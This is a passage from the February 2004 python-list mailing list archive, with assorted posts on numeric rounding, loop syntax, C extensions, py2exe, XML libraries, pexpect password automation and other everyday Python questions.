>>arise together in thinking about computing with real-life measurement values.
>
>(Warning, naive hobbyist input, practicality: undefined)
>
>One possible option would be to provide for some kind of random
>rounding routine for some of the least significant bits of a floating
>point value. The advantage would be that this would also be usable for
>DSP-like computations that are used in music programming (volume
>adjustments) or in digital video (image rotation). 
>
I can't spend a lot of time on this right now, but this reminds me of
a time when I tried (sucessfully IMO) to explain why feeding a simulation
system with very low noise data got more accurate results than feeding it
exact data.

The reason has to do with quantization (which was part of the system being
simulated, and which could be fed with highly accurate world-sim values plus
noise). I.e., measurements are always represented digitally with some least
significat bit representing some defined amount of a measured quantity.
This means measurement information below that is lost (or at least one bit
below that, depending the device).

The result is that a statistical mean (or other integrating process) of samples
will not be affected by the bits lost in quantizing. In the case of feeding a
simulator with accurate values multiple times, this results in the identical
biased quantized values, whereas if you add a small amount of noise, you will
get a few neighboring quantized values in some proportion, and the mean will
be a better estimate of the true (unquantized) value that a mean of quantized
values with no noise -- where all the quantized values are exactly equal and
all biased. The effect can be amplified if the input is feeding a sensitive
calculation such as the inversion of a near-singular matrix, and can make the
difference between usable and useless results.

An example using int as the quantization function:

 >>> import random
 >>> def simval(val, noise=1.0):
 ...     return val + noise*random.random()
 ...
 >>> def simulator(val, noise, trials=1000):
 ...     return sum([int(simval(val, noise)) for i in xrange(trials)])/float(trials)
 ...
 >>> for i in xrange(10): print simulator(1.3, 0.0),
 ...
 1.0 1.0 1.0 1.0 1.0 1.0 1.0 1.0 1.0 1.0
 >>> for i in xrange(10): print simulator(1.3, 1.0),
 ...
 1.295 1.293 1.284 1.307 1.3 1.292 1.322 1.291 1.322 1.315

I suspect that the ear integrates/averages some when presented with 44.1k samples/sec,
so if uniform noise is added in below the quantization lsb of a CD, that may enhance
the perceived output sound, but some audiophile can provide the straight scoop on that.

>I agree with the idea that exact interval tracking is important, but
>perhaps this exact interval tracking should be used only during
>testing and development of the code. 
>
>It could be that it would be possible to produce code with a fixed
>number of least significant bits that are randomly rounded each time
>some specific operation makes this necessary (not *all* computations!)
>and that the floating point data would stay accurate enough for long
>enough to be useable in 99.9 percent of the use cases.
>
I think you have to be careful when you do your rounding, and note
the effect on values vs populations of values and how that feeds the
next stage of processing or use.

>Maybe we need a DSP-float instead of a decimal data type? Decimals
>could be used for testing DSP-float implementations.
>
I'm not sure what DSP-float really means yet ;-)
HTH, gotta go.

Regards,
Bengt Richter


From rzantow at ntelos.net  Tue Feb 17 21:19:44 2004
From: rzantow at ntelos.net (rzed)
Date: Wed, 18 Feb 2004 02:19:44 GMT
Subject: PEP-315 ("do" loop)
References: <0F705920-60F0-11D8-BE5B-000A959CB2EC@netmail.to>
	<4032385D.6030003@prescod.net>
	<mailman.84.1077049175.31398.python-list@python.org>
Message-ID: <Xns9492D93433FFCrzed@63.223.5.95>

Wayne Folta <wfolta at netmail.to> wrote in
news:mailman.84.1077049175.31398.python-list at python.org: 

>> until x <==> while not x
> 
> That was one thought that crossed my mind when I first saw an
> until construct in a language. (Was it PL/I?) So it is a bit of
> a confusion, but at the same time my spider senses were telling
> me that surely a language wouldn't reserve a keyword "until" to
> simply save someone from typing "while not". (Of course, a
> language like perl might well do this, but that's why we use
> python, eh?) 
> 
> While it might be easy to confuse how "until" acts, it has the
> strength that it follows the intuitive loop paradigm we're used
> to in all other looping constructs that I know of: what loops is
> inside the loop. Python has "else" extensions to loops that are
> different from most languages, but even here the "else" part
> does not loop. 
> 
> PEP-315 creates a different kind of two-part loop where code
> outside of the "while" is repeatedly executed. That will fool
> people who are used to the usual one-part loops. You can claim
> it's actually a "do" loop, but with the condition in the middle
> of the loop, that doesn't really hold water.
> 
> At the very least I'd say that you need to choose a word other
> than "while" to avoid this kind of confusion. For example, "do
> ... until ..." loop where "until" <==> "while not" so that you
> know immediately what's going on. Otherwise, when you see a
> "while", you're never sure what kind of loop it is until you
> look above it and determine it's not a "do while".
>>
> 
>> Nothing about the word "until" implies to me that it delays the
>> loop test on the first go-round. PEP 315's syntax seems more
>> clear to me. 
> 
> Nothing about "do" implies "do repeatedly". My first guess on
> what the PEP-315 syntax means, based on python's "while ...
> else" syntax, would be that the "do" part is executed and then
> the while loop is executed conditional on the "do" having not
> been broken out of: the inverse of "while ... else".
> 
> 

Nothing about loops is necessarily obvious, but the "until" 
convention in PL/I (and proposed here)probably takes four seconds 
to learn and understand completely. It's not a difficult concept: 
"while" checks at loop start, "until" checks at loop end. That's 
it.

It does allow a natural way to express a loop's intent (do 
something one or more times, stopping when this-test is true), and 
it could also allow specification of *both* a before-test and 
after-test in the same statement (while this-is-true do the 
following, until that-is-true), which gives a clean way to express 
the intent of the loop block that requires both tests. 
Syntactically, I'd rather see:

while cond1 until cond2:
    some code

... than: 

while cond1:
    some code
    if cond2: break

... though I can live with either. If "some code" takes a few 
screens, I may not realize that the cond2 test is important in the 
loop until I've already scrolled past the part that sets up the 
test. It's not a deal-breaker, but it can be an annoyance when 
looking into other folks' code.

As to the PEP itself, It would take supstantially longer than four 
seconds to get completely comfortable with the loop-and-a-half 
construct using any syntax, I'd bet. *That* I'd rather see spelled 
out explicitly, but that's just me.

-- 
rzed



From bigbinc097_DONT_SPAM at comcast.net  Tue Feb  3 23:08:06 2004
From: bigbinc097_DONT_SPAM at comcast.net (Berlin Brown)
Date: Tue, 03 Feb 2004 23:08:06 -0500
Subject: Find function names from C
In-Reply-To: <bvnc7c$p4$1@woodrow.ucdavis.edu>
References: <zaCdnSd72anecoPdRVn-jg@comcast.com>
	<bvnc7c$p4$1@woodrow.ucdavis.edu>
Message-ID: <HMWdnYfuBNo79r3dRVn-sQ@comcast.com>

Jey Kottalam wrote:
> "Berlin Brown" <bigbinc097_DONT_SPAM at comcast.net> wrote in message
> news:zaCdnSd72anecoPdRVn-jg at comcast.com...
> 
>>I am parsing a C file and want to find the function names, is this
>>python worthy or is Emacs-Lisp better for this.  I have searched for
>>some libraries but coming up null.  I just need the function names, no
>>args or anything else.  I would probably have to run a regular
>>expression pattern looking for int,void,static, etc and then the
>>enclosing { }.
>>
> 
> 
> Look into www.gcc-xml.org or there's an ANSI-C parser at
> http://www.lysator.liu.se/c/ANSI-C-grammar-y.html that could easily be
> adapted for your needs. (Yes, that's with C and yacc, not python. sorry.)
> 
> -Jey Kottalam
> 
> 

I have to go back to the books, dont know python or lisp very well, 
yacc,lex,  for one thing, that is exactly what lisp does in emacs 
anyway, the way it matches one { with another }



From robin at jessikat.fsnet.co.uk  Thu Feb  5 04:09:55 2004
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Thu, 5 Feb 2004 09:09:55 +0000
Subject: spam classification breaker
Message-ID: <zkNtOLAjhgIAFweW@jessikat.fsnet.co.uk>

This article at the BBC reports on what appears to be a genetic
algorithm or random search method for finding words that apparently fool
bayesian classifiers every time.

http://news.bbc.co.uk/1/hi/technology/3458457.stm

The author apparently had to include html reporting into the emails to
allow his mail client to report back automatically.

Of course if he'd used python the whole process of email generation and
classification could have been done in a single process and would
probably allow easier generation of the magic words.

Why Berkshire, Marriot etc should be allowed through is pretty strange
:)
-- 
Robin Becker


From adonisv at REMOVETHISearthlink.net  Sat Feb  7 18:13:27 2004
From: adonisv at REMOVETHISearthlink.net (Adonis)
Date: Sat, 07 Feb 2004 23:13:27 GMT
Subject: Tkinter.Entry question
Message-ID: <rieVb.14555$jH6.2824@newsread1.news.atl.earthlink.net>

I am writting a simple autocomplete feature using the Entry widget, but when
I insert data at the end, the last entered character gets pushed to the end
of the inserted text.

Now I have used icurosor() to move the insertion point to the end of the
text and the END index to no avail.

Any help is greatly apprecited.

Adonis




From theller at python.net  Fri Feb  6 10:47:16 2004
From: theller at python.net (Thomas Heller)
Date: Fri, 06 Feb 2004 16:47:16 +0100
Subject: Defining *class* methods on C code
References: <hdy59tu8.fsf@python.net> <m3znbw4fjb.fsf@pc150.maths.bris.ac.uk>
	<isik6x7h.fsf@python.net>
Message-ID: <8yjg6whn.fsf@python.net>

Thomas Heller <theller at python.net> writes:

[followup to myself, I found it]
> Michael Hudson <mwh at python.net> writes:
>
>> Thomas Heller <theller at python.net> writes:
>>
>>> I once knew how to do it, but I cannot find or remember it anymore:
>>> 
>>> How can I attach *class* methods to a type in C code, when I have a
>>> function
>>> 
>>> PyObject *func(PyObject *type, PyObject *arg);
>>> 
>>> with the METH_O calling convention?  The type is already created, I
>>> cannot insert it into the tp_methods array anymore.
>>> 
>>> Something like this:
>>> 
>>> class X(object):
>>>     pass
>>> 
>>> def func(cls, arg):
>>>     ....
>>> 
>>> X.func = classmethod(func)
>>
>> Just stuff it into tp_dict?  You'll need to make the method object
>> yourself, but that's easy.
>>
>> I think you probably have to hope that the name of the class method
>> isn't a special method name (you'd want to call
>> typeobject.c:update_slots then, but I don't think you can arrange for
>> that to happen from outside typeobject.c as all the juicy symbols are
>> static).
>
> No special names.  Here's the code:
>
> static PyObject *my_method(PyObject *self, PyObject *arg)
> {
> 	Py_INCREF(arg);
> 	return arg;
> }
>
> static PyMethodDef my_methods[] = {
> 	{ "my_method", my_method, METH_O },
> 	{ NULL, NULL },
> };
>
> and then ('type' is the type where I want to create the class method on):
>
[snipped non-working code]

I have to call PyDescr_NewClassMethodType:

	if (somecondition) {
		PyObject *meth;
		PyMethodDef *ml = my_methods;

		for (; ml->ml_name; ++ml) {
			meth = PyDescr_NewClassMethod(type, ml);
			if (!meth)
				return NULL;
			if (-1 == PyDict_SetItemString(type->tp_dict,
						       ml->ml_name,
						       meth))
				return NULL;
		}
	}

> I know that there are refcount leaks in this snippet, but that's not the
> point.

Thomas


From theller at python.net  Mon Feb 23 05:00:18 2004
From: theller at python.net (Thomas Heller)
Date: Mon, 23 Feb 2004 11:00:18 +0100
Subject: _ssl.pyd in py2exe ???
References: <8089854e.0402210443.1f220525@posting.google.com>
	<isrkg1-q33.ln1@ID-66900.news.dfncis.de>
	<8089854e.0402230004.22a970c@posting.google.com>
Message-ID: <brnq86a5.fsf@python.net>

michael at foord.net (Fuzzyman) writes:

> Peter Strempel <peterstrempel at yahoo.com> wrote in message news:<isrkg1-q33.ln1 at ID-66900.news.dfncis.de>...
>> Fuzzyman wrote:
>> > large........ but why on earth in an anagram finder is _ssl.pyd (500k)
>> > being bundled in with it ???
>> 
>> 
>> You probably have some dependency on socket somewhere, which pullsin the ssl
>> module.
>> 
>
> It jumbles up words and displays the results in a Tk window...........
>
> Which is why I'm surprised to see an SSL library there...
>
> My imports are :
>
>
> import string, os.path, sys
> from cPickle import dump, load
> from copy import copy, deepcopy
> from time import clock, strftime
> from webbrowser import open as openbrow
>
> try:
>     import psyco            # python specialising compiler
>     psyco.full()
> except:
>     pass
>
> from Tkinter import *
> from tkFileDialog import asksaveasfilename, askopenfilename
> from tkMessageBox import showerror
>
> None of which *should* be dependant on the SSL library...........

_ssl is imported by the httplib and socket modules.
socket is imported by a lot of modules, webbrowser among them, so this
is explained.

If you are sure your program never uses socket (or _ssl), you should use
py2exe's excludes option to avoid that these are included.

Thomas




From theller at python.net  Mon Feb  9 05:37:26 2004
From: theller at python.net (Thomas Heller)
Date: Mon, 09 Feb 2004 11:37:26 +0100
Subject: Defining *class* methods on C code
References: <hdy59tu8.fsf@python.net> <m3znbw4fjb.fsf@pc150.maths.bris.ac.uk>
	<isik6x7h.fsf@python.net> <m3n07w43cw.fsf@pc150.maths.bris.ac.uk>
	<3c9n6hdz.fsf@python.net> <m3isij3rjb.fsf@pc150.maths.bris.ac.uk>
	<wu6wtuhk.fsf@python.net>
Message-ID: <r7x4tu6x.fsf@python.net>

Thomas Heller <theller at python.net> writes:

> Michael Hudson <mwh at python.net> writes:
>
>> Thomas Heller <theller at python.net> writes:
>>
>>> >> 	if (somecondition) {
>>> >> 		PyObject *func;
>>> >> 		PyObject *meth;
>>> >> 		PyMethodDef *ml = my_methods;
>>> >> 
>>> >> 		for (; ml->ml_name; ++ml) {
>>> >> 			func = PyCFunction_New(ml, NULL);
>>> >> 			if (!func)
>>> >> 				return NULL;
>>> >> 			meth = PyClassMethod_New(func);
>>> >
>>> > How about "meth = PyDescr_NewClassMethod(result, ml);" here?
>>> >
>>> 
>>> Yes, that works.  But it's not in Python 2.2, which is required ;-(
>>
>> Arghl.  I guess you can just steal the relavent code... wasn't it your
>> patch in the first place that implemented all this?
>
> No, it was my feature request. IIRC, it was implemented by Fred Drake.

Guess I'm getting old.  It *was* my patch ;-)

Thomas


From Pieter.Claerhout at Creo.com  Wed Feb  4 05:23:30 2004
From: Pieter.Claerhout at Creo.com (Pieter Claerhout)
Date: Wed, 4 Feb 2004 11:23:30 +0100 
Subject: self-extracting installer
Message-ID: <490316A24CC5D411ACD700B0D078F7F003915E42@cseexch01.cse.creoscitex.com>

Yes, it is. Take a look at the McMillan installer package.
http://www.mcmillan-inc.com/install1.html

Cheers,


pieter

Creo
pieter claerhout | product support prinergy | tel: +32 2 352 2511 |
pieter.claerhout at creo.com | www.creo.com

IMAGINE CREATE BELIEVE(tm)


-----Original Message-----
From: lubowiecka at go2.pl [mailto:lubowiecka at go2.pl] 
Sent: 04 February 2004 10:29
To: python-list at python.org
Subject: self-extracting installer


Hi!

How can I create in Python a self-extracting file containing some files that
automaticly starts the setup program when I double click on the file?

Is that possible in Python?

Thank you in advance,

Sylwia
-- 
http://mail.python.org/mailman/listinfo/python-list



From kpacera at highstream.net  Sun Feb 29 00:16:55 2004
From: kpacera at highstream.net (KAP)
Date: Sun, 29 Feb 2004 00:16:55 -0500
Subject: [newbie] confused about following list assignment
References: <Pine.LNX.4.43.0402271233330.17064-100000@zeon.well.ox.ac.uk>
Message-ID: <opr338yhjfc4oxob@news.highstream.net>

On Fri, 27 Feb 2004 12:43:55 +0000, Kenny <kccw at well.ox.ac.uk> wrote:

>
> Can someone explain why all the position zeros are being assigned the 
> same value of x?

Try >>> for x in range(len(a)): print id(a[x][0])

to see that all reference the same object. The last assignment you made 
with "a[i][0]=str(x*10)" is the new object that each of the above will 
reference.

You need to create some copies first. Your code will work the way you want 
by changing:

...  a.append(b)

to this

...  a.append(b[:])

Ken


From wmwd2zz02 at sneakemail.com  Tue Feb 24 20:27:14 2004
From: wmwd2zz02 at sneakemail.com (Greg Ewing (using news.cis.dfn.de))
Date: Wed, 25 Feb 2004 14:27:14 +1300
Subject: Thoughts about Python
In-Reply-To: <15c2d03b.0402241237.708cb4e8@posting.google.com>
References: <15c2d03b.0402240311.395f5382@posting.google.com>
	<Xns9499854B482AEduncanrcpcouk@127.0.0.1>
	<15c2d03b.0402241237.708cb4e8@posting.google.com>
Message-ID: <c1gtlk$1iaul2$1@ID-169208.news.uni-berlin.de>

Marco Aschwanden wrote:
> I know that tuples can be used as keys... but how many times do
> you need tuples as dictionary keys (it would be simple to turn a list
> into an immutable string if really needed ("::".join(["a","b"]).

Having used other languages where dictionary keys have to
be strings, I very much like the fact that I *don't* have to
do this in Python. Uniquely deriving a string from a non-flat
data structure is fraught with difficulties (e.g. in your example,
what if one of the list elements contains "::"? Or what if you
wanted to stringify [42, "elephant", myFunkyClassInstance]?) You
end up having to carefully design a stringifying scheme for each
particular case. It's a big can of hassles that I can do without.

And using a tuple as a dict key is a more common thing to do than
you might think. It synergises with another feature of the Python
syntax, that commas (and not parentheses) are what generate tuples,
to give a very nice way of using a dict as a multi-dimensional table:

    my_sparse_matrix = {}
    my_sparse_matrix[17, 42] = 88

This works because '17, 42' is an expression yielding a
tuple, and tuples can be used as dict keys.

I hope you can see now that expecting Python programmers to
"simply" turn their lists into strings for use as dict
keys would *not* go down well in the Python community. :-)

-- 
Greg Ewing, Computer Science Dept,
University of Canterbury,	
Christchurch, New Zealand
http://www.cosc.canterbury.ac.nz/~greg



From timr at probo.com  Thu Feb 19 02:27:47 2004
From: timr at probo.com (Tim Roberts)
Date: Wed, 18 Feb 2004 23:27:47 -0800
Subject: XML Parsing
References: <slrnc2t6bv.4q2.tyler@darkstar.tylere.com>
	<5z3Yb.3920$Cd6.177500@news20.bellglobal.com>
	<c0rkhb$1ai18a$1@ID-71831.news.uni-berlin.de>
	<pan.2004.02.18.10.29.04.429518@no.spam.org>
Message-ID: <c8p830p53k49885lov79orrfdd0v577ufl@4ax.com>

"Nick Efford" <nick at no.spam.org> wrote:

>On Mon, 16 Feb 2004 23:45:16 +0000, James Kew wrote:
>
>> "Chris Herborth" <chrish at cryptocard.com> wrote:
>>>
>>> PyXML on Sourceforge (http://pyxml.sourceforge.net/) has faster
>>> DOM-producing routines.
>> 
>> Which are? I like PyXML, but well-documented it ain't.
>
>What about O'Reilly's "Python and XML"?...

For what it's worth, I thought this was a great book.  I had done lots of
Python but no serious XML work before reading it; someone with a deeper
background might have a different view.
-- 
- Tim Roberts, timr at probo.com
  Providenza & Boekelheide, Inc.


From jepler at unpythonic.net  Mon Feb  2 08:40:44 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Mon, 2 Feb 2004 07:40:44 -0600
Subject: Dynamic Linking
In-Reply-To: <NFBBIBBEGKCGCEGNDLKGEEJMDNAA.phil.hornby@accutest.co.uk>
References: <NFBBIBBEGKCGCEGNDLKGEEJMDNAA.phil.hornby@accutest.co.uk>
Message-ID: <20040202134044.GA26499@unpythonic.net>

On Mon, Feb 02, 2004 at 09:00:48AM -0000, Phil Hornby wrote:
> I am just wondering if anyone has played with dynamically linking to the
> pythonXX.dll??

Historically, nobody has been interested in making the kind of committment
that binary-level compatiblity between Python shared library images of
different x.y versions.  Such a decision would be viewed as preventing
necessary change to Python's internals---for instance, either the size
and layout of all builtin types would be frozen, or access to any fields
would require calls to shared library functions.  It's your choice
whether to hurt either performance or the freedom of implementation
details of future Python releases.

If you're in favor of this kind of compatibility, as opposed to the
source-level compatibility that Python maintains for 90+% of code
between releases, then it may be up to you to make a convincing
case for it.

Jeff



From jeremy+plusnews at jeremysanders.net  Fri Feb 13 06:56:20 2004
From: jeremy+plusnews at jeremysanders.net (Jeremy Sanders)
Date: Fri, 13 Feb 2004 11:56:20 +0000
Subject: Multiply a tuple by a constant
References: <1d17eeb7.0402130220.7258a5bd@posting.google.com>
Message-ID: <pan.2004.02.13.11.56.20.751474@jeremysanders.net>

On Fri, 13 Feb 2004 02:20:06 -0800, Jay Davis wrote:

> I often need to multiply a tuple by a constant and the methods I use now
> are not very pretty.  The idea is to get a new tuple that is some factor
> times the start tuple, like  'newtup = .5 * oldtup'.
> 
> Is there a slick way to do this?

I suggest looking at Numarray - a very convenient way of doing maths on
sets of numbers. Of course if you don't do very much it's not worth doing
this.

http://www.stsci.edu/resources/software_hardware/numarray

You can do things like:

import numarray

a = numarray.array( (1.,2.,5.,-46.) )
a *= 0.5
b = a + 3.4

Jeremy



From jcarlson at nospam.uci.edu  Sat Feb  7 14:27:36 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sat, 07 Feb 2004 11:27:36 -0800
Subject: software design question
In-Reply-To: <c02ku4$8e0$1@news.rz.uni-karlsruhe.de>
References: <c02ku4$8e0$1@news.rz.uni-karlsruhe.de>
Message-ID: <c03ebl$av7$1@news.service.uci.edu>

> I have the following inter-class relationships:
> 
> __main__:  (in file LMCMain.py)
>   imports module FileIO
>   defines class LMCMain 
>   instanciats main = LMCMain(...)
> 
> FileIO.py:
>   defines class FileIO
>   class FileIO needs to access "main" from LMCMain.py

I don't know what one /should/ call it, but what you have is what I 
would call a circular import.  You are attempting to have two modules 
use the internals of each other.  That is poor design.

You can use a kludge to get past poor design by using the following:

main = LMCMain()
import sys
sys.modules['FileIO'].main = main


In the future, better design is suggested.

  - Josiah


From virus.manager at st.com  Mon Feb  2 09:54:26 2004
From: virus.manager at st.com (virus.manager at st.com)
Date: Mon, 02 Feb 2004 14:54:26 -0000
Subject: Virus Alert
Message-ID: <20040202145426.2593EF378@zeta.dmz-eu.st.com>

The mail message (file: zpxqcmb.zip) you sent to <alex at lunet.it> contains a virus. (on zeta)



From jepler at unpythonic.net  Sun Feb 22 15:24:15 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Sun, 22 Feb 2004 14:24:15 -0600
Subject: Reading from text files
In-Reply-To: <b4a8ffb6.0402221213.7bc0c493@posting.google.com>
References: <b4a8ffb6.0402221213.7bc0c493@posting.google.com>
Message-ID: <20040222202415.GA21887@unpythonic.net>

There are three solutions to this problem:
1. Don't use Windows
2. Only use offsets with file.seek() that were returned by file.tell()
3. Open the file in binary mode

Windows stores "\n" as a two-byte sequence in text files when written,
and then transforms the two-byte sequence into "\n" when reading, for
files opened as text files.

file.seek() on Windows only knows about raw byte offsets, though, so
if you know the first line of a file is "a\n", you can't seek to 2 to
get to the second line, because that line actually starts at byte 3
(The value .tell() would return after you read the first line)


Jeff



From czajnik at czajsoft.pl  Mon Feb 23 18:11:45 2004
From: czajnik at czajsoft.pl (Przemyslaw Wegrzyn)
Date: Tue, 24 Feb 2004 00:11:45 +0100
Subject: XML data binding - Castor-like
Message-ID: <c1e155$sqb$1@panorama.wcss.wroc.pl>

Hi!

I'm quite new to Python. Is there anything like Castor or JAXB available for
Python ? All I have found is generateDS.py, but it seems to be very limited
and a bit buggy - it seems to be sensitive to the order in which I declare
elements in my XML Schema file.

In my upcoming project I need a robust XML support, and I wanted to give
Python a try, unfortunately I'll probably have to switch back to Java for
this project :(

Best Regards,
P.Wegrzyn


From edcjones at erols.com  Thu Feb 12 09:45:20 2004
From: edcjones at erols.com (Edward C. Jones)
Date: Thu, 12 Feb 2004 09:45:20 -0500
Subject: Wrapping exception handling around a function
Message-ID: <402b927e$0$3168$61fed72c@news.rcn.com>

Is there a better way to write the following?

--------

import sys, traceback

class LocalError(StandardError):
     pass

_first = True

# "fcn(*args)" is executed. If one of the exceptions listed in
# "catchtuple" is thrown in "fcn", the exception is caught here.
# The traceback and message are written to "badfile". Then
# "LocalError" is raised. "wrapper" is useful when testing a
# collection of functions.
def wrapper(badfile, fcn, args, catchtuple):
     global _first
     try:
         fcn(*args)
     except tuple(catchtuple), message:
         if _first:
             bad = file(badfile, 'w')
             _first = False
         traceback.print_exc(100, bad)
         raise LocalError


From max at alcyone.com  Mon Feb 23 19:56:52 2004
From: max at alcyone.com (Erik Max Francis)
Date: Mon, 23 Feb 2004 16:56:52 -0800
Subject: Typecasting
References: <mailman.198.1077534828.27104.python-list@python.org>
	<c1e534$r9o$1@news.eusc.inter.net>
Message-ID: <403AA154.4B078487@alcyone.com>

R Hughes wrote:

> No doubt someone has already suggested eval()
> as in:
> string = '555'
> number  = eval(s)

For something that is as well-defined as simply converting an integer,
int is far, far preferable to eval.  All eval does is introduce the
possibility of serious security problems if used incorrectly, whereas
int has none.

-- 
 __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/
/  \ San Jose, CA, USA && 37 20 N 121 53 W && &tSftDotIotE
\__/ A man can stand a lot as long as he can stand himself.
    -- Axel Munthe


From bart_nessux at hotmail.com  Wed Feb 25 15:30:39 2004
From: bart_nessux at hotmail.com (Bart Nessux)
Date: Wed, 25 Feb 2004 15:30:39 -0500
Subject: still trying to pass strings to the OS
In-Reply-To: <403BBD02.10701@hotmail.com>
References: <c1d5eg$gij$1@solaris.cc.vt.edu>
	<c1dboe$k3r$00$1@news.t-online.com> <403A4B77.4090703@hotmail.com>
	<103lgdgms8k2v1d@corp.supernews.com> <403BBD02.10701@hotmail.com>
Message-ID: <c1j0lg$312$1@solaris.cc.vt.edu>

Bart Nessux wrote:
> Cameron Laird wrote:
> 
>> In article <403A4B77.4090703 at hotmail.com>,
>> Bart Nessux  <bart_nessux at hotmail.com> wrote:
>>
>>> Diez B. Roggisch wrote:
>>>
>>>> Read this:
>>>>
>>>> http://pexpect.sourceforge.net/#faq
>>>>
>>>> Then you most probably want to use it :)
>>>>
>>>
>>> Thank you. That's exactly what I need.
>>>
>>
>>
>> If you can get your hands on a copy of the February 2004 issue of
>> *Sys Admin* Magazine <URL: http://www.samag.com/articles/2004/0402/ >,
>> you'll find a bit of encouragement there to pursue Pexpect.
> 
> 
> After downloading and installing pexpect... this works for me:
> 
> import pexpect
> 
> password = 'password'
> child = pexpect.spawn('/usr/bin/passwd root')
> child.expect_exact('New password:')
> child.sendline(password)
> child.expect_exact('Retype new password:')
> child.sendline(password)
> 
> Does this look safe? The documentation on the module was lacking. Seems 
> like I should close the process that was spawned. Any tips?
> 

This works 100% on Mac OSX 10.3.2... The time.sleeps had to be added to 
make it work consistently.

def set_pass():
    # Function to change root passwd on Mac 10.3 systems
    import pexpect
    import time
    set = r"password"
    child = pexpect.spawn("/usr/bin/passwd")
    child.expect_exact("New password:")
    child.sendline(set)
    time.sleep(0.1)
    child.expect_exact("Retype new password:")
    child.sendline(set)
    time.sleep(0.1)
    child.close()

set_pass()




From aahz at pythoncraft.com  Fri Feb 13 18:43:32 2004
From: aahz at pythoncraft.com (Aahz)
Date: 13 Feb 2004 18:43:32 -0500
Subject: Python as a teaching (visualization) tool
References: <c14vf1-386.ln1@jowls.lairds.org> <c0iqcg$kp7$1@panix2.panix.com>
	<ld10g1-4c3.ln1@jowls.lairds.org>
Message-ID: <c0jnf4$rq0$1@panix3.panix.com>

In article <ld10g1-4c3.ln1 at jowls.lairds.org>,
Kyler Laird  <Kyler at news.Lairds.org> wrote:
>
>Perhaps I'll head out West to the O'Reilly Open Source Conference
>this year.
>	http://conferences.oreillynet.com/os2004/
>I see that Python 12 is part of it.  Yes, that would be a nice way
>to spend my birthday.  See you there?

If they pick one or more of my tutorials, yes.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Argue for your limitations, and sure enough they're yours."  --Richard Bach


From opstad at batnet.com  Wed Feb 25 10:01:52 2004
From: opstad at batnet.com (David Opstad)
Date: Wed, 25 Feb 2004 07:01:52 -0800
Subject: Linguistically correct Python text rendering
References: <opstad-0804D8.08595821022004@news-central.ash.giganews.com>
	<mailman.33.1077633885.8594.python-list@python.org>
	<opstad-5EF6C3.14552924022004@news-central.ash.giganews.com>
	<m3u11ffk1f.fsf@pc150.maths.bris.ac.uk>
Message-ID: <opstad-5BE204.07015225022004@news-central.ash.giganews.com>

In article <m3u11ffk1f.fsf at pc150.maths.bris.ac.uk>,
 Michael Hudson <mwh at python.net> wrote:

> But it seems to be impossible to programmatically determine which
> encoding the terminal being printed to at a given moment is using (and
> the user can fiddle this at run time).  If I'm wrong about this, I'd
> like to know.

The encoding issue is peripheral to my point; sorry if I wasn't clearer 
in my original message. It doesn't matter what the encoding is. The main 
issue is that for some writing systems (e.g. Arabic) simply outputting 
the characters in a Unicode string, irrespective of encoding, will 
produce garbled results.

> What more would you have us do?

Well, for those writing systems whose presentation forms are included in 
Unicode, how about a further processing step? So that at a minimum, if I 
start with an Arabic string like "abc" I can get out an Arabic string 
like "CBA" where bidi reordering has happened, and contextual 
substitution has been done. Then, outputting the processed Unicode 
string using stdout will work without further intervention (assuming a 
font for the writing system is present, of course).

It's probably irrational of me, I admit, but I'd love to see Python 
correctly render *any* Unicode string, not just the subsets requiring no 
reordering or contextual processing.

Dave


From pythonista_at_sbcglobal_dot_net at invalid.net  Wed Feb 25 18:16:57 2004
From: pythonista_at_sbcglobal_dot_net at invalid.net (Brian)
Date: Wed, 25 Feb 2004 23:16:57 GMT
Subject: Python Productivity Gain?
In-Reply-To: <c185pg$7mg$1@freenet9.carleton.ca>
References: <mailman.16.1077122875.27104.python-list@python.org>
	<403687e1$1@nntp0.pdx.net> <40368BF3.2FE82B1A@engcorp.com>
	<mailman.126.1077319302.27104.python-list@python.org>
	<103etl21cvjaq2a@corp.supernews.com>
	<c185pg$7mg$1@freenet9.carleton.ca>
Message-ID: <J1a%b.17240$155.12740@newssvr29.news.prodigy.com>

Michael Black wrote:
> And if IMSAI is brought in for some claim to an early computer, it
> came late.  The ALtair 8800 came out in late 1974.

Maybe it was brought in simply for coolness?

Coincidentally, there are still IMSAI's being sold, or so it would 
appear: http://www.imsai.net/

-Brian
Once-IMSAI 8080-owner :)


From aahz at pythoncraft.com  Mon Feb  2 20:13:19 2004
From: aahz at pythoncraft.com (Aahz)
Date: 2 Feb 2004 20:13:19 -0500
Subject: OT: why do web BBS's and blogs get so slow?
References: <7xbrojk9rk.fsf_-_@ruckus.brouhaha.com>
	<7xvfmp7tpn.fsf@ruckus.brouhaha.com>
	<bvm0t5$j44$1@panix3.panix.com>
	<7x4qu9s319.fsf@ruckus.brouhaha.com>
Message-ID: <bvmsjf$800$1@panix1.panix.com>

In article <7x4qu9s319.fsf at ruckus.brouhaha.com>,
Paul Rubin  <http://phr.cx at NOSPAM.invalid> wrote:
>aahz at pythoncraft.com (Aahz) writes:
>> 
>> They require writes at *some* point, because they're persistent.  What
>> kind of system they use (if any) to batch things up for efficiency, I've
>> no idea.
>
>I think of "DB write" as something different than just appending
>something to a file, i.e. a DB write means SQL parsing, transactional

Dunno.

>> LJ is huge.  I'd guess probably >50% of their active userbase is paying.
>
>That sounds that they can deal with scaling issues by just throwing
>more hardware at the problem.  Especially since I think their
>high-traffic pages (like the home page) are static.  The dynamic pages
>are user journals which I think don't interact with each other that
>much and which (unlike Slashdot's comment threads) don't individually
>get very heavy traffic.  They could basically have completely separate
>servers for usernames beginning with "a", "b", "c", etc. and have a
>simple load balancer redirecting browser requests.

That's certainly possible.  I believe that some community journals get
heavy traffic, though.

>> Nevertheless, LJ is an excellent example of a high-performance web
>> application where the software is available as Open Source.  You can
>> probably learn a lot if you dig into it.
>
>Yeah, but I don't know if I could stomach looking at that much Perl code.

Repeat my earlier comment with extra emphasis.  ;-)  ("I'm loathe...")
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"The joy of coding Python should be in seeing short, concise, readable
classes that express a lot of action in a small amount of clear code -- 
not in reams of trivial code that bores the reader to death."  --GvR


From phil.hornby at accutest.co.uk  Mon Feb  2 08:41:18 2004
